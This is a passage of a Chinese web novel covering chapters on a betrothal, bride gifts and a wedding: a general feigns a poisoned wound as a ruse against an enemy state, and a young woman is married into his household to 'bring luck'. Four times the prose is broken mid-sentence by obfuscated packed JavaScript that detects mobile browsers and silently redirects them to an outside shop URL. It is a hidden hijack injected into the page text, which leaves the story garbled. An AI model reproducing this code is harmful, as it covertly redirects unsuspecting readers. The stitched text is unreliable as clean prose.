这话不无揶揄,裴砚却只拿鼻孔哼了一声。 “她也就只会做这种手脚。” 宁王道:“也难怪她心存忌惮,凭你的战功和官职,真要娶个门当户对的贵女过去,岂不显得她儿子一无是处?如今借冲喜之名娶个小门小户,又挑了上佳的容貌,既能遂她心愿,也显得她贤良淑德,免去旁人议论。” “只可惜了那小姑娘。”裴砚叹道。 宁王挑眉,“心疼了?” “见都没见过!只是觉得她可怜,无端被卷进这种算计礼,自己却做不得主。”裴砚连江云娆是谁都不知道,自然谈不上心疼。 宁王却是查过云娆的,“那姑娘确实生得漂亮,据说性情也好,没准儿你见了还真想娶到身边。” 裴砚仿佛听到笑话,“十五岁的小姑娘都还没长开,你也真敢说!” 何况就侯府那乱糟糟的样子,他留在京城着实无趣,等局势安稳后总得回军中去。这种娇滴滴的小姑娘吃不得边关的苦,也不好留在京城守空房,没得耽误了人家。 宁王瞧他没打算拿婚事当真,于是调侃:“那怎么着,让小姑娘认栽?” “不如殿下去趟侯府,把这瞎凑的婚事搅和了?”裴砚抬眉。 宁王一笑,摇了摇头。 事关朝堂军政,成败牵系着万千将士的性命和边塞安危,范氏那点小心思虽上不得台面,但事已至此,没准还帮他诱北夏太后入彀。 若是特地去退亲,反而让北夏起疑,白费了兵马钱粮的调动安排。 战场上他和裴砚的身家性命都能搭进去,实在不值得为个婚事扰乱大局。 裴砚自然也知轻重,灌了口酒道:“但愿屠长恭早点动手,没准她还能逃过这婚事。” 若真是她时运不济嫁进了侯府,怕也只能先瞒过冲喜的婚仪,回头再找机会写封和离书好生送她回府安顿,就当是为国出力了。 总归别亏待了就是。 …… 除夕夜的京城热闹如旧。 边地的战事和千百里之外的流民虽让有些人忧心忡忡,但百姓对这些事尚且知之不多,加之京城仍繁华安稳,佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555013|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节里该怎么热闹就怎么热闹。 大街小巷都换了桃符,各处庭院里灯火如昼,声声爆竹皆是辞旧迎新的喜气。 江家自然也不例外。 游廊间灯笼高悬,阖家都换了齐整衣裳,由老太爷带着祭祖后便往暖厅里一道用团圆饭。 二房的江慎父子推杯换盏,一杯杯地拿酒捧着老太爷,江伯宣却因妹妹的婚事而兴致缺缺,只敬了祖父两杯便罢了。 里头崔老夫人虽被孙媳妇伺候得舒服,祁氏却比从前沉默了许多—— 她原是个寻常秀才之女,资财在徐氏面前不值一提,是仗着读书人家的名头和乖顺讨喜的嘴才格外得老两口青睐。这几年趁着徐氏病倒管账理事,江家祖产和徐氏的铺子两份银钱在手里打转,让她暗里也攒了些资财,哪舍得轻易将这肥水还回去? 可今晨那么一闹,老太爷虽还没发话,瞧那意思是不愿担骂名的。 到时候账目交还过去,哪怕徐氏不至于清算旧账,二房往后少了这个进项,日子恐怕就很难优渥得起来了。 她实在堆不出假客气的笑脸,连带儿媳都不敢放肆说笑,桌上的气氛难免有些微妙。 待得戌时末宴散,便各自回房去了。 云娆倒不曾被她们影响。 婚事既无从转圜,她留在家里的时日便不多了,合该好生陪伴至亲。 难得在外为官的兄长回京团聚过年,一家子便聚到徐氏住的西跨院去守岁。 算上母亲、兄嫂和幼弟江季行,五个人围炉而坐,摆上各色糕点干果,配上几道小菜和甜酒,倒比家宴自在轻松多了。 一家子闲坐说话,到夜半时分外头爆竹声连连响起,年才十岁的江季行率先冲出屋去,嚷着要放新岁的头一个爆竹。 徐氏怕他冻着,赶紧让童妈妈给他披外裳。 苏春柔也帮婆母披上斗篷,笑道:“三弟近来很有长进,他亲手点爆竹辞旧迎新,新年里母亲定能安康顺遂。”说话间笑睇云娆。 云娆会意,跟在母亲身后出了门,从怀里取出早就备好的福袋。 “这是嫂嫂和我从百福庵求的,那日还抽了个上上签呢,母亲带着它定能康健如松,福寿绵长!” 院里灯烛通明,她在喝了好几杯甜酒后两颊稍染薄晕,将小脸儿藏在温暖柔软的帽兜里,眼底是粲然笑意。 徐氏从她手中接过精致的福袋,正巧江季行点的爆竹噼啪爆开,在小儿子和丫鬟们的欢笑声里,她瞥了眼含笑站在后面的长子,也忍不住笑了起来。 再怎么艰难,孩子们也都长大了。 哪怕云娆嫁进侯府后祸福难料,有这么一双兄嫂照料着,总归还是有些依傍。她当初为亡夫伤心太过累及身体,将养了这些年,如今既得遇良医有所好转,也该养好精神,硬撑起来遮风挡雨了。 但愿这些孩子,连同儿媳和腹中的婴儿都能逢凶化吉,遇事呈祥。 5. 聘礼 新岁的头一日春光明媚,也是女眷们进香祈福的好时候。 因徐氏尚未痊愈不好吹风劳累,便由江伯宣陪着云娆和苏春柔去寺里进香,带上了爱凑热闹的弟弟江季行。 到得最常去的云福寺,里头果真是香客如云,寺外的两条街巷也都搭了彩棚,售卖各色新巧玩意儿的摊位次第摆开,甚是热闹。 江季行正是好动的年纪,好容易等姐姐和嫂嫂进了香,便迫不及待的窜进摊贩堆里去挑喜欢的小物件。 云娆和苏春柔也逛了半圈,瞧见顺眼的随手买了让丫鬟拿着,再买碗热乎的馄饨、尝尝小巧的糕点,直逛到晌午过后才去就近的酒楼用饭。 到那边恰好碰见好友沈骊英,小姐妹为云娆的婚事惋惜之余,不免拉着关怀说话,又约了元夕同赏灯会。 从酒楼出来,见珠市巷的绸缎铺有从苏州来的新料子,又进去挑选,连同近处的首饰铺子和书肆都没放过。 如是游荡了一整日,兄妹几个都收获颇丰,满满当当的拎进去,让徐氏都看花了眼。 过后几日忙着与亲戚们拜年,直到初六清晨才算清闲了些。 女眷们在正院聚齐,老太爷也终于发话,让祁氏把那两处铺子的账目都还回去。连同云娆的婚事如何操办,也都分派好了——中馈之权祁氏自然不肯撒手,但那日她既哭了半天的累,这回云娆的婚事便真个交给了苏春柔,由她多操心张罗。 苏春柔岂有不接的? 她娘家开明,除了教导诗书之外,也让她在闺中学过掌家之事,做姑娘时也跟母亲去过婚嫁之类的场面,对这些并不陌生。 且徐氏虽病着不宜太费神,从前也曾掌家多年,又有个办事得力的童妈妈,由她坐镇后方细心指点,自然不会出差错。 至于届时迎送女眷等事,毕竟是把姑娘嫁进侯门,崔老夫人既觉得此事能为门楣增色,自然会出面,苏春柔只消多请教长辈便是。 得了老太爷分派,便自筹备起来。 徐氏那边拿回铺子账目,虽瞧得出祁氏做过手脚,却也懒得细究,仍与旁的陪嫁铺子一道打理便是。 至于云娆,自然也得备嫁起来。 待得正月初八,侯府的聘礼便拿红绸裹着的箱子流水般送了进来。 …… 按习俗,纳征其实是在请期之前的。 只不过裴砚这事儿来得太突然,侯府二夫人得知消息后匆忙物色人家,因赶着为重伤的裴砚冲喜,自然来不及一样样办,是以纳采问名等事都是仓促办的,又从宁王那边打听到裴砚回京的大致日子后,仓促定了婚期。 彼时除夕将近,侯府过年不像江家这样简单,有太多的事要操心,匆忙中只送了小部分聘礼,旁的还没顾上整理。 到如今忙过一波波的宴席,才算腾出手来把剩下的补上。 聘礼自然贵重,一箱箱的堆满了院子。 若有人一件件挨个核对,便会发现里头少数是出自侯府,大半倒是皇帝赏的—— 裴砚打小就在军中,这些年立下的战功不知凡几。武将的官职提拔不到哪里去,帝王褒奖之余多半都是给赏赐,或是银钱或是物件,因他远在边塞,都就近送到侯府,十来年间攒了不少。 这些东西别说是江家,就是裴砚的嫡母范氏瞧着都有点眼馋。 送聘的队伍站满了甜井巷,旁边百姓但凡瞧见这阵势,无不夸赞侯府办事体面大方,为让裴将军度过难关花足了心思。 就连徐氏都有点看呆了。 她娘家虽算不上太富,当初能把商户身份的她嫁给进士及第的江恒,自然也差不到哪里去。但如今瞧着那些稀罕物件,才发觉商户与侯府的门第确乎悬殊,也难怪那么多人削尖了脑袋都想往公府侯门跟前凑。 她的云娆嫁进那种地方…… 徐氏一想到这个,眼底的惊叹便都消得无影无踪,吩咐童妈妈安顿东西后,便往西竹馆去看望女儿。 才进院门,就见云娆脸上汗涔涔的,正和绿溪青霭她们搬沉甸甸的雕版。 里头有些是云娆从别处搜集了在她的小书房珍藏的,有些则是云娆自己一点点雕刻出来的。从幼时稚嫩的练手之作,到如今精美得能令住持师父夸赞的板子,都是云娆的心爱之物。这么些年攒下来,林林总总有好几箱子,既是她的喜好手艺,也在静心专注中磨练了脾性。 徐氏瞧着这些雕版,不自觉想起女儿静静坐在窗下细心雕琢的模样,一转眼,五六岁的稚嫩孩子都过了及笄之龄,要嫁人了。 里头云娆瞧见人影儿进院,忙搁下手里的板子擦了擦汗,“母亲怎么过来了?” 说话间忙吩咐朱妈妈搬椅子过来,再让青霭斟茶。 徐氏就势坐在暖热的日头底下。 俗话说病去如抽丝,她前些年迁延不愈,这回正巧碰上对症的好郎中,年前就已有起色,被云娆的婚事激起志气,这些天好生调理喝药,精神头倒是好转了许多。 瞧着满院子的雕版,不由问道:“你怎么把这些搬出来了?” “绿溪她们挑选要带的东西,正好将这些雕版好好理一理。那些正雕刻的我打算带过去,别的理好了放在屋里,母亲可得帮我看好了。” “这孩子!”徐氏无奈,让旁人自管去忙,只拉着云娆的手坐在身旁,“方才侯府来送聘礼你也不肯去看,就知道摆弄这些宝贝。” 云娆随手拿帕子擦指尖的灰,不以为意。 徐氏抓住她软软的手,“婚期早就定了,聘礼也都收了,再过二十来天你就得出阁。”她心里舍不得女儿,见云娆对婚事不闻不问,到底有些担忧,压低声音道:“前儿燕家来拜年,燕熙分明是想要见一见你的,我瞧他对你十分上心。你却不肯出去,莫不是……” 她顿了顿,却还是道出心中疑惑,“你还记挂着他,怕见了难受?” 这话是贴着耳边说的,旁人无从得知。 云娆却被问得微诧,忙抬头看向母亲,见她眼里全是忧色,不由又低头笑了笑。 论私心,比起深似海的侯门,她确实更愿意嫁去门当户对的燕家,能凭母亲给的嫁妆和兄嫂的照拂安生过日子。 但对于燕熙…… 他确实生得好看,文武兼修的青年才俊,性情也爽快,加之两人因他跟兄长的交情见过几回,若真让云娆嫁过去,她确乎是满意的。 但若说心里还惦记燕熙,云娆年才十五,其实还不太懂男女间的情意,更没想着非燕熙不嫁。 眼见母亲误会,她只能解释道:“女儿只是觉得没必要,见了也是徒增是非。” 说着,瞥了眼东竹馆的方向。 徐氏皱眉道:“三姑娘这性子真是……她还是暗里盯着你呢?” “可不么,都快把竹林那边的花丛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这些话不好跟红珠这个丫鬟说,她便闷闷的起身去祖母那里。 姑娘家到了年纪,有些心事无需藏得太深,加之江云影素来跟祖母亲近,不免拐弯抹角地诉了一通苦,只觉得云娆近来占尽便宜全都是因为嫁进侯门这种打了灯笼都难找的好事。 崔老夫人看得出小孙女的羡慕与不甘心,将她揽在怀里打趣,“那不如把这门婚事换给你?” “祖母胡说什么!” “反正是冲喜,人家未必非得要谁,你若真想去侯府,祖母或许也能说说呢。”崔老夫人逗她。 江云影听见这话,赶紧把头摇成拨浪鼓。 “这么久了都没听见裴将军的消息,想必吊着命好不了。若是嫁进去就得守寡,给再多珍宝也是没趣儿!” “这就对了!”崔老夫人虽碰不得聘礼,侯府却也单独给她封过礼,今儿心绪既好,脸上便也多了笑意,“十全十美的事儿咱们轻易找不到,但你二姐姐嫁进侯府,咱们江家脸上也有光。到时候再给你说亲,可就是侯府少夫人的妹妹、将军的小姨子。” 身份跟着水涨船高,婚事自然差不到哪里去。 江云影从前只盯着云娆的婚事,倒没想过这茬,闻言先是一喜。想到要沾姐姐的光才能寻到好亲事,心里又有些不舒服。 不过只要能嫁个如意好郎君,细枝末节倒也不必计较。 总比守寡的强。 江云影想到二姐姐年纪轻轻就要嫁个将死之人,倒又有点同情云娆了。 6. 嫁衣 离婚事还剩二十来天,江家忙着为云娆备嫁,靖远侯府自然也需筹备一番——不管私下里处得如何,裴砚既是为护百姓而重伤至此,侯府明面上总要做得圆满热闹些,也免得外头人议论侯府苛待庶子、怠慢功臣。 老侯爷不问琐事,婚仪由范氏来操心。 到正月十七,裴砚的马车也终于缓缓驶到了靖远侯府门前。 且是由宁王魏铎亲自护送来的。 这位虽不受宠,却也是身份贵重的皇子,靖远侯裴固丝毫不敢怠慢,亲自开了正门带人来迎接,欲将宁王请进正厅去招待。 宁王虽身份贵重姿容威仪,却没那么多规矩,只惋惜地站在青帷车旁。 马车的车身比寻常车子宽敞许多,虽没用锦缎华盖等物装饰,做工却坚固而细致。里头铺着厚软的垫子,哪怕帘帐垂着瞧不见情形,也能闻见车身上隐隐的膏药气息,应是浸染太久所致。 “原该把他留在军中医治,只是这回伤得实在太重,又被毒物损及脏腑,边塞之地缺医少药反倒会耽误病情。”宁王说着话,掀起车帘一角让裴固先瞧瞧。 裴固已有许久没见这孙子了,乍一眼看见裴砚在里头昏睡未醒,脸上似有青灰之色,再不复从前的昂藏雄姿,竟自神情微变。 裴元曙瞧见,不由得也凑了过来。 他毕竟是裴砚的生父,哪怕这些年父子间两地相隔甚少碰面,到底有骨血相连,见好好的儿子伤得奄奄一息,也是忍不住双手微颤。 宁王旋即落下车帘,神情中也难掩痛惜。 “北夏这药用得实在歹毒,本王虽让军医竭力救治,却也没多少起色。他伤成这样,病情反反复复,实在经不得车马颠簸劳顿之苦。车里躺久了又容易生褥疮,这一路走走停停的脚程太慢,耽误到如今才算赶回来。” 裴固闻言,忙道:“这一路千里之遥,殿下悉心照料,能保住他性命已是殊为不易,裴家上下铭感大恩。” 说话间忙命人驱车入府。 宁王随车进府,又与老侯爷商谈裴砚居住养伤等事。 靖远侯府基业可算深厚,府邸经过数次扩建,非但雕梁画栋轩峻气派,占地也比最初多了两倍有余。 老侯爷膝下三个儿子,除了老三裴元绍跟家里闹翻后携着未婚先孕的妻子远走他乡外,裴元曙和长兄裴元晦都有不少姬妾儿女,如今各自分派院落居住,人丁颇为兴旺。 裴砚的生母潘姨娘早在二十年前就搬去田庄养身子,裴砚又自幼在外极少回来住,府里就只给他留了个偏僻的枕峦春馆做为落脚之地。 如今既要成婚,枕峦春馆自须布置成婚房,仆妇往来嘈杂不宜养病,便挑了侯府角落最僻静的杏花阁给他暂住。 宁王对这安排倒是十分满意。 方才侯府门前仆从簇拥,人多眼杂的有些话不方便说,如今只留裴固和裴元曙在跟前,他便郑重叮嘱。 “裴将军既是本王麾下最得力之人,也是北夏恨之入骨的劲敌,若真有个三长两短,我大梁边疆就会少一位栋梁之材。两位都身在朝堂,也知这京城里混了北夏的暗探,无孔不入又防不胜防。” 这话说得直白,裴固神色稍肃,忙道:“殿下放心,府里定会严密彻查,绝不叫人趁机浑水摸鱼。” 宁王摇了摇头道:“修缮婚房、筹备婚事都有许多杂事,侯爷未必能全然防住。本王的意思,那杏花阁既地处角落,又有小偏门方便出入,不如本王留些侍卫守着,连同请医用药都由本王安排,侯爷只需吩咐人备好饭食便可。” 见裴固父子对视了一眼,他又补充道:“裴将军是奉本王之命出战而重伤,他的生死本王一力承担。侯爷若能让人照料好饮食,不让闲人靠近杏花阁,等裴将军伤愈之时,本王自然也会记住这份功劳。” 这样一说,裴固父子哪有不明白的? 两国之间除了边塞恶战,暗里还有许多台面下的交锋,裴砚既被视为劲敌,北夏为瓦解大梁边防,趁他重伤派人刺杀都未可知。 侯府虽富贵,却哪有能耐防刺客? 既然宁王这样周全安排,裴固自然不能有二话,遂满口答应,让儿子裴元曙格外留心,万勿让人前去搅扰。 裴元曙应着,命人将备好的春凳取来,由宁王安排的将士将裴砚搬下马车,在侍卫簇拥下搬去杏花阁。 老侯爷裴固亲自在前带路,裴元曙则叫来妻子范氏,让她安排厨房好生操心饭食。 范氏岂会不从? 她当初被仓促娶进门时潘姨娘已有身孕,庶子生在嫡子之前本就是她心里的一块病,如今裴砚又这样出息,她自然不愿为这庶子花太多心思。听见裴元曙这样说,倒乐得清闲,便只道:“厨房的事我自会安排,绝不去添乱。” 裴元曙见妻子神情有点颇为冷淡,迟疑了下,还是道:“这孩子……” 他欲言又止,片刻后还是拍了拍妻子的手道:“终归是我们对不住他母子俩。如今他又是为国负伤,旁的都有宁王操心,就请夫人多费心些,将他的婚事和饮食照料好。” 范氏听见“我们”二字,眼底掠过不满,却也不曾说什么,只垂着眼答应了。 …… 杏花阁外,宁王瞧着周遭的高树乱柳,倒颇为满意。 这地方偏僻又隐蔽,果真适合裴砚。 遂请老侯爷自管去忙,他让裴砚的长随赵铁带着侍卫们去取扫帚清水等物,将那三间屋舍打扫出来。 等这里收拾妥当,范氏差人送来的被褥等物也都齐全了,便命人将裴砚抬进去放在床榻上,再让侍卫守在屋外紧盯动静。 万事俱妥,周遭再无外人。 宁王在外头巡视了一圈,颇满意地回来,推开门时就见裴砚已经把脸洗干净了,正站在桌边喝水。 “怎样,方才没人瞧出破绽吧?”他头回装病,虽说来之前练习了好几回,却也怕有不周之处。 宁王笑道:“像得很!我瞧你那老父亲手都在颤,显然惊得不轻。” 裴砚仿佛没听见这话,只管喝水。 宁王知他父子疏远,感情淡薄,没再提这话茬,转而道:“北边刚递来的消息,说北夏太后让人集结兵马调动钱粮,已有些按捺不住。只是屠长恭还没动静,恐怕真是在等你的婚仪。” ——届时贺客如云,北夏暗探只消亲眼见过裴砚的病状,屠长恭若还能坐得住,可就真不是人了! 就算他坐得住,那位太后也不肯错失良机! 宁王早已布置了诱敌深入的陷阱,这会儿难得偷闲,翘着脚坐在靠窗的长案上,一面打量屋舍一面道:“方才途径你的婚房,收拾得倒齐整。屠长恭既然这样能忍,这婚事你怕是躲不掉了。铁树开花光棍娶妻,可喜可贺啊!” 裴砚一口水才喝进去,听见他这道贺,差点呛住。 …… 仲春的时气一日暖似一日,元夕夜赏灯穿的斗篷才刚收起来,便已有人迫不及待地换上了时新的软绸春衫。 婚期也仿佛在转眼间便到了眼前。 苏春柔忙活了大半个月,在徐氏的指点下将诸事都筹备妥帖,晚饭后又去厨房等处瞧了一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555015|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好让明日宴席待客等事都能顺利。 云娆则被老两口叫去单独说话。 比起最初强压婚事的姿态,如今眼瞅着孙女要嫁进侯府攀上高门,两人的态度不自觉中和善了许多。 屋门掩上,俩人说话虽绕着弯子,意思却很明白。 无非是让云娆到裴家后懂事些,不管裴将军身子如何都要尽心伺候长辈、与妯娌姑侄好生相处。哪怕如今卑弱些,等在侯府站稳脚跟,眼界见识总能有大长进。到时候若兄弟叔侄仕途上要做什么,打听消息都能比别处灵通许多。 意料之中的叮嘱,云娆只能应下。 从正院出来,就见母亲徐氏坐在西跨院的凉亭下,正跟江伯宣兄弟俩叮嘱明日送嫁的事。 ——为着送妹妹出阁,江伯宣特地告假几日赶回了京城,顺道帮母亲和孕中的妻子料理酒宴等杂事。 见云娆总算被老两口放出来,徐氏叮嘱兄弟俩自去帮苏春柔照看杂务,而后招招手让云娆过去,带她进了里屋。 该叮嘱的早就说过,这会儿唯有临别前的担忧不舍。 “侯府寻常往来多半是高门贵户,自然是很看重颜面的,礼数上你可得分外留心。”徐氏将女儿搂在怀里,随手拿了旁边折起来的纸笺,摸摸云娆软乎乎的脸蛋,“长辈妯娌都有谁,都大致记住了吧?” 云娆莞尔,“都记住了,母亲放心。” 这张纸笺虽薄,上头其实是母亲半个多月的心血。 因靖远侯府人口颇多,徐氏怕云娆孤零零的嫁进去后不明就里,正月里设法暗里打听,将侯府两房的人丁大约摸清楚了。虽说不便探问府中后宅的内情,却也能让云娆心里大概有个数,到时候见了人能早些对上号,不至于两眼一抹黑。 此刻随便扫一眼纸笺,云娆便能想起来,侯府除了两房长辈,后宅里尚有三位与她年纪相若的女孩子,一位嫡出两位庶出。 妯娌之中,如今掌家的少夫人薛氏是安国公府的嫡幼女、宫里薛贤妃的堂妹,余下算起来虽都是她弟媳,却也各有来路。 总归她这冲喜进去的人是满府主子里身份最低的。 就连裴砚…… 虽说外头打听不出什么,但从小被送去军营摸爬滚打出生入死的庶子,孤身在外攒下赫赫战功,跟府里想必也算不得亲密。 云娆心里既有数,倒也没那么怕了。 便贪恋着母亲怀里的温暖,等兄嫂弟弟忙完之后说了会儿话,瞧着天色实在晚了,才恋恋不舍的回了西竹院。 待翌日清晨起来,由喜娘帮着梳妆时,便有迎亲的鼓乐声隔着几道院墙传进来。 绿溪到外头瞧过迎亲的队伍,穿过热闹的人群回到西竹院,一面帮云娆穿嫁衣,一面小声道:“奴婢刚去瞧过,来迎亲的果然不是裴将军,看打扮应该是哪位弟弟。” “看来还是病着没好。” 青霭低声说着,心里没半点大婚之日该有的喜意,只心疼地瞧着自家姑娘。 从腊月下旬到如今,裴砚受伤也有一个半月了,却还是病着不能起身,想必是北夏那毒太过凶狠难解,连太医都没寻到好的法子。 只不知往后还能不能有起色…… 她帮着抚平彩绣华美的嫁衣,见新妆的云娆戴了凤冠容光照人,鼻头又隐隐泛酸。 姑娘这样姣美的容色,便是那些高门贵女都未必比得上。且姑娘性情温柔,幼时又由主君亲自教导识字读书,本该嫁个出挑的男子,和和美美地过日子。 若今日姑娘出阁嫁的是位如意郎君,那该多好! 7. 新婚 时近惊蛰,春雷乍动。 昨夜飘了轻细如酥的小雨,这会儿满院浅草青嫩,墙角的两丛迎春开得正盛,于柔暖春阳下生机盎然。 云娆辞别长辈后,由兄长送出了门。 满目皆是新婚的喜红,周遭多有瞧热闹的,虽看不到花扇后盛装的容色,但只瞧嫁衣下的身段气质和握在扇柄的纤秀指尖,便知扇后是怎样的丽色。 有人羡慕她嫁入侯门的福气,有人叹息她冲喜后未卜的前路。 云娆躬身进了花轿,待软帘徐徐落下时,强忍的泪意终究还是夺眶而出,打湿了视线。 侯门一入深似海。 于她这样家世的女子而言,侯府的深院朱墙终归不及待字闺中时的自由,往后莫说再去街市书肆闲逛,便是见母亲兄嫂怕是也未必方便。 但眼下哪有旁的选择。 她深深吸了口气,待眼中雾气散尽时重新拿好花扇,任由吹打的喜庆鼓乐将她送到侯府门外。 花轿落地,喜娘掀帘来扶,云娆以花扇遮面,目光透过未被彩绣覆盖的薄纱,仍未瞧见她要嫁予的郎君。直到独自过了跨火求吉等礼仪,穿过甬道两侧绫罗豪贵的宾客,走进厅堂时,才隐约看到一道身着喜服的身影。 男人坐在旁边的圈椅里,身体似是勉力强撑,斜靠着旁边的茶几脑袋微垂。 隔着彩绣薄纱看不清他的容貌气色,只觉那男人身姿颀峻,喜服下双腿修长,虽说病中无力起身,仍有京师文人所不及的飒然姿态。 自少年时便纵横沙场,威名足以震慑敌军,京城能够太平富庶、她能够安稳度日,终归离不开边塞将士的浴血厮杀。 也不知未受伤的他是何等英豪之姿。 云娆心里忽然就有点难过。 说不清是为此刻被迫冲喜的自己,还是为如今折翼困顿的裴砚。 她默然垂眸,由喜娘扶着走上前。 裴砚也由长随扶着站起来,身体微不可察地晃了晃,借案几站稳后走向云娆。明明不过四五步的路,他却走得颇为吃力,肉眼可见的脚步虚浮,甚至鬓角额间都渗出了细汗,仿佛为这几步用尽了力气。 拜堂之仪格外仓促,礼毕时裴家也没请宾客去观合卺撒帐等礼,自管招呼贺客们去外头吃席喝酒。 喜娘引着夫妻俩穿过厅堂前往洞房。 才出了厅角的小门,裴砚便像是气力不支一般靠在了墙上喘了口气,长随有些慌张地扶住他,招手让早就备好的肩舆过来,抬着走了。 剩云娆站在那里,心底不由浮起担忧。 旁边嬷嬷陪着笑道:“夫人去提亲时想必都说过了,咱们将军在战场上受了点伤还在将养,不周之处还望体谅。不过少夫人放心,京城里自有杏林妙手,过阵子想必就能治好了,咱们先去歇歇吧。” 说话间引着云娆进了抄手游廊,却是与裴砚不同的方向。 仆从簇拥着新人离去,不远处的矮墙下,有位躲在梅花漏窗后的丫鬟悄然收回视线,左右瞧了瞧,提着裙角匆匆走了。 ——今日侯府新婚大喜,来道贺的宾客几乎踏破门槛,自然有不少随行的仆从。裴家虽没请人去后院观礼,在夫妻拜堂席面未开之时仍有许多宾客闲游赏玩,逶迤的朱墙花窗后还不知有多少双眼睛。 …… 厅堂处宾客的喧嚣笑闹渐渐远去。 云娆跟随喜娘走在曲折游廊,越往前走越是安静,就连喜娘都慢慢不说话了。不知走了多久,终于停在了一处小院前。 嬷嬷笑得有点勉强,“咱们将军常年在外打仗,甚少回京城住,所以府里留了这处院落给他,胜在清净。” “多谢嬷嬷。”云娆大约能猜到裴砚在府里的处境,自不会在这上头多话,便只道:“这里花木繁荫,倒是好景致。” “那是,那是!过两天花儿开了,那才漂亮呢!” 嬷嬷说着好听话儿,将云娆送进布置一新的洞房,等云娆在喜床坐下,才施礼道:“原该好好的撒帐合卺,大家热闹热闹,只是将军如今尚未恢复,经不得折腾,还望少夫人见谅。再者,将军在杏花阁养伤,不许人去搅扰,少夫人安心在这住着就是。” 说罢,让喜娘简略走了点礼数,喊院里伺候的仆妇丫鬟进来拜见过云娆,又说外头还有许多事需招呼,便带着喜娘走了。 云娆遂将旁人屏退,只留陪嫁在侧。 屋门掩上,隔断春日凉风。 院子里除了风动竹梢之外没旁的动静,屋里也安静得很,云娆心知裴砚今晚是不会过来的,自将花扇搁在旁边,打量屋中布置。 这洞房虽偏僻,裴家既舍得拿出丰厚的聘礼,对婚房倒也不曾简省,一应桌椅床榻乃至陈设起居都是上等的。 桌上还摆了糕点果子,免得屋里人饿着。 绿溪不待吩咐便端了一盘蜜饯和一盘白玉糕过来,让云娆先垫垫肚子,青霭则去斟茶。 她俩都是打小伺候云娆的,这回都陪嫁了过来。徐氏因担心侯府门第高规矩多,年弱的女儿应付不过来,又将身边得力的常妈妈和大丫鬟金墨给了云娆,这会儿也都在旁边伺候。 常妈妈是徐氏从娘家带过来的,曾跟着主家见识过富贵气象,也看过主君和徐氏新婚的恩爱,如今瞧见云娆冷清的婚房,哪有不难过的? 但事已至此,也只能往前看。 她让金墨先去檐下伺候,既可探一探院里情形,也免得众人扎堆待在屋里,来了人还不知道。而后暂且将沉甸甸的凤冠取下,待云娆垫饱肚子后补了点口脂,眯了会儿养好精神,才将床榻被褥收拾整齐,让云娆端坐在榻上。 “毕竟是新婚夜,哪怕裴将军没法来洞房,府里总不至于不闻不问。姑娘且偷会儿懒,待会若有人来,可别忘了戴好凤冠。”常妈妈说着,又让绿溪和青霭各自吃了点东西,再换金墨进来歇息。 如是闲晃着,到傍晚时分,院外果然有了动静。 青霭从半掩的窗户瞧见,忙朝云娆比个首饰,少顷,屋外响起金墨和绿溪施礼问候的声音。 二夫人范氏绕过门口的紫檀如意合欢屏风,就见半卷的珠帘后喜帐长垂,云娆头戴凤冠身披嫁衣,手里拿着花扇端然坐在榻上。 她堆出点笑,徐徐走至跟前。 “老二如今尚且病着,今日实在是委屈你了,好孩子——”她说话间坐在云娆身侧,瞧见花扇后面那张脸时倒是微微一怔。 去提亲之前她就听说江家次女容色过人,是宫里妃嫔都夸赞过的,才拿着容色的长处说服裴元曙答应这桩婚事。但其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555016|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从未见过云娆,先前也只觉得一个小官之女,便是有几分姿色,也不过小家碧玉而已,能美到哪里去? 直到此刻,盛装初嫁的姑娘坐在她的面前,华衣宝珠妆点之下,确乎是府里几位姑娘所不及的婉丽姿容。 倒还真是个美人儿了。 范氏笑意更甚,只说先前忙着招呼宾客,这会儿才抽空过来瞧瞧儿媳妇,让云娆不必担忧夫君伤势,只管安心歇下云云。 云娆也只能应下,任由范氏带的人帮她卸下凤冠花扇,而后起身送婆母出门。 范氏今日喝了几盅酒,像是不胜酒力似的,来去都坐着肩舆,脸上的笑容也恰到好处。直到走远些,她回头望了眼枕峦春馆,在渐而四合的暮色里,笑意也迅速淡了下去。 心腹周妈妈在旁道:“这位江家姑娘倒真是生得好模样,夫人眼光真不错。” “可惜了。”范氏摆弄着袖口,低头笑了笑。 她今日是头一回见到负伤的裴砚。 